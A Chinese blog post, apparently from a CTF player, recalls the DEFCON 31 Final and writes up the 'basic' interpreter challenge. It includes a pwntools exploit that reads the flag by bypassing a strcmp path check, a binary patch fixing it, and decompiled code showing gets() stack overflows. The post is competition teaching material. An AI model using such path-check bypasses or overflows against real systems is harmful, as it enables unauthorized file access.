Loading... # 前言 ![image.png](http://81.68.153.233/usr/uploads/2023/08/2229785569.png) DEFCON31 Final ,r3kapig组织了在线下远程支援(大家没美签 这是第一次参加DEFCON Final,心里是特别激动的 也是第二次线下和大家一起做题,真的很开心,又学到很多东西 不过现场我还是手忙脚乱,压力巨大 发现的vuln没有第一时间上报,因为太紧张需要多次确定一下 忙来忙去,又发现手速远没有大佬们快 连不上vpn,也没办法感受一下在defcon final得分的体验 总之没帮上什么忙感觉挺愧疚的。。。 和大佬们的合照 ![image.png](http://81.68.153.233/usr/uploads/2023/08/3060455372.png) r3kapig-全金属贴纸(lantern限定纪念款小飞鼠) ![image.png](http://81.68.153.233/usr/uploads/2023/08/2471502449.png) 2019:(1v1男人大战中) 不太确定?等我问问gpt ![image.png](http://81.68.153.233/usr/uploads/2023/08/2604184365.png) mhackeroni:你们嘎嘎上分,我嘎嘎掉分 -930(一轮) ![截屏2023-08-14 上午1.23.15.png](http://81.68.153.233/usr/uploads/2023/08/3303547655.png) 比完看下富人的生活,(蚊子是真的多 ![image.png](http://81.68.153.233/usr/uploads/2023/08/125705986.png) # basic @59364 一个 `basic`解释器 ```c func_ea = 0x08059620 sym_ea = 0x8069904 sym_end = 0x80699c0 for i in range(sym_ea, sym_end, 4): name_addr_end = name_addr = ida_bytes.get_dword(i) while ida_bytes.get_byte(name_addr_end) != 0: name_addr_end += 1 name = get_strlit_contents(ida_bytes.get_dword(i), name_addr_end - name_addr).decode() func_addr = ida_bytes.get_dword(func_ea + 4) set_name(func_addr, 'func_' + name) func_ea += 4 ``` ```c LIST CHR$ HEX$ INPUT$ LEFT$ MID$ MKD$ MKI$ MKS$ OCT$ RIGHT$ SPACE$ STR$ STRING$ CDBL CINT CSNG INSTR LPOS PEEK BASE CLOSE DATA ELSE ERASE ERROR FIELD GOSUB GOTO INPUT KILL LINE LSET NAME NEXT OPEN OPTION POKE PRINT RANDOMIZE READ RESTORE RESUME RETURN RSET STEP STOP SWAP THEN TROFF TRON USING WEND WHILE WRITE TOKEN_UNASSIGNED TOKEN_UNKNOWN ``` 一些可能有帮助的文档 https://math.hawaii.edu/lab/197/basic/basic10.htm https://www.c64-wiki.com/wiki/GET ## vuln1 在 `OPEN`方法中,对 `file `的检查不严格,我们可以直接读取 `flag` ```c int __cdecl check_flag(char *s1) { int result; // eax result = strcmp(s1, "/FLAG"); if ( !result ) { puts("File not allowed"); exit(0); } return result; } ``` 我们直接读取 `flag`,然后打印 ```python from pwn import * import sys binary = './basic' libc = './libc.so.6' IP = '0.0.0.0' PORT = 0 io = process(binary) #io = remote(HOST,PORT) elf = ELF(binary) libc = ELF(libc) context.log_level = 'debug' context.terminal = ['tmux','new-window'] sd = lambda s : io.send(s) sa = lambda r,s : io.sendafter(r,s) sl = lambda s : io.sendline(s) sla = lambda r,s : io.sendlineafter(r,s) rc = lambda : io.recv() rn = lambda n : io.recv(n) ru = lambda r : io.recvuntil(r) rl = lambda : io.recvline() def dbg(io,cmd = 0): if cmd == 0: gdb.attach(io) else: gdb.attach(io,cmd) pause() def cmd(data): sla(b">",data) cmd(b'10 OPEN "INPUT", #1, "//flag"') cmd(b'20 LINE INPUT #1, kek$') cmd(b'30 PRINT kek$') cmd(b'RUN') io.interactive() ``` `patch`只需要把 `FLAG`改成 `flag`,然后吧 `strcmp`改成 `strstr`即可 ```python from pwn import * FILE = "basic" context.update(os="linux", arch="i386") e = ELF(FILE, checksec=False) # Patch for reading /flag # strcmp(str, "/FLAG") -> strstr(str, "flag") target = 0x805691E shellcode = b"flag\0" assert len(shellcode) == 5 or print(len(shellcode)) e.write(target, shellcode) target = 0x804A434 shellcode = asm( """ call ds:0x8059568 """, vma=0, ) assert len(shellcode) == 6 or print(len(shellcode)) e.write(target, shellcode) target = 0x804A43F shellcode = asm( """ jz $+0x1e """, vma=0, ) assert len(shellcode) == 2 or print(len(shellcode)) e.write(target, shellcode) e.save("basic-patched") ``` ## vuln2 在 `RANDOMIZ` 方法中,使用了 `gets`函数且没有任何检测机制,可以直接栈溢出 ```c int __cdecl func_RANDOMIZE(int a1) { char s[99]; // [esp+1Eh] [ebp-7Ah] BYREF char nptr[7]; // [esp+81h] [ebp-17h] BYREF int fd; // [esp+88h] [ebp-10h] unsigned __int16 v5; // [esp+8Eh] [ebp-Ah] int v6; // [esp+A0h] [ebp+8h] v5 = 0; v6 = a1 + 1; if ( *(_BYTE *)v6 == 12 ) { v5 = strlen((const char *)(v6 + 1)) + 3; if ( (unsigned __int16)word_8069A8A <= 0x20u ) { fd = open("/flag", 0); if ( fd >= 0 ) { memset(s, 0, sizeof(s)); read(fd, s, 0x63u); close(fd); for ( fd = 0; fd <= 1999; ++fd ) sub_8053929((int)s, 99, &s[fd % 0x53u]); fd = (unsigned __int8)s[3 * (unsigned __int16)word_8069A8A]; dword_8069ACC = *(_DWORD *)&s[fd % 0x5Fu] & 0x1FFFF; getrandom(s, 99, 0); ++word_8069A8A; } else { word_8069A8A = 33; } } if ( (unsigned __int16)word_8069A8A > 0x20u ) getrandom(&dword_8069ACC, 4, 0); } else { printf("Random Number Seed (-32768 to 32767)?"); gets(nptr); dword_8069ACC = atoi(nptr) & 0x1FFFF; v5 = 1; } dword_8069AD0 = dword_8069ACC; sub_804C0F9(); return v5; } ``` ## vuln3 同 `vuln2` 在 `LINE`方法中,也存在栈溢出 # basci_v2 @59365 ```c Basic 0.2 has added variable arrays and is giving a sneak preview to the new USR and VARPTR commands. Example 10 USR0 = 0 20 PRINT USR0(1, 2) The following values can be assigned to USR0 - USR9 to use them. Some future edition may allow loading custom assembly into memory for usage but for now enjoy the examples. &H0000 - add_test &H0039 - crc16 &H02A0 - fast_copy &H02D2 - improved_print &H02D8 - sort ``` ```c func_ea = 0x805D1C0 sym_ea = 0x807D4C4 sym_end = 0x807D580 for i in range(sym_ea, sym_end, 4): name_addr_end = name_addr = ida_bytes.get_dword(i) while ida_bytes.get_byte(name_addr_end) != 0: name_addr_end += 1 name = get_strlit_contents(ida_bytes.get_dword(i), name_addr_end - name_addr).decode() func_addr = ida_bytes.get_dword(func_ea + 4) set_name(func_addr, 'func_' + name) func_ea += 4 ``` # baby @59999 # drop-ap @63172 # metabox @ 61672 最后修改:2023 年 08 月 18 日 © 允许规范转载 打赏 赞赏作者 赞 2 如果觉得我的文章对你有用,请随意赞赏